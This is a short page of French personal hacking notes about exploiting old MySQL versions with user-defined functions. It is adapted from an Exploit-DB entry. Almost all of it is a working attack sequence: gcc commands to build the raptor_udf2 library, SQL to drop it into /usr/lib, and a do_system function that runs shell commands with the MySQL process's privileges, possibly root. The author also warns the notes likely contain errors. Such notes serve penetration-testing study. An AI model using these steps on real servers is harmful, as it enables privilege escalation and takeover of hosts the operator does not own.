Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

MySQL

Exploitation

User Defined functions

Note: cette partie est basée sur https://www.exploit-db.com/exploits/1518/ et impacte les versions de MySQL < 4.1.10a et MySQL < 4.0.24

Dans un premier temps on compile la librairie dynamique utilisée:

gcc -g -c raptor_udf2.c
gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Ensuite on crée la fonction MySQL qui l’utilisera. Ceci permet d’executer des commandes avec les droits de l’utilisateur qui contrôle le processus mysql (avec un peu de chance c’est root):

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');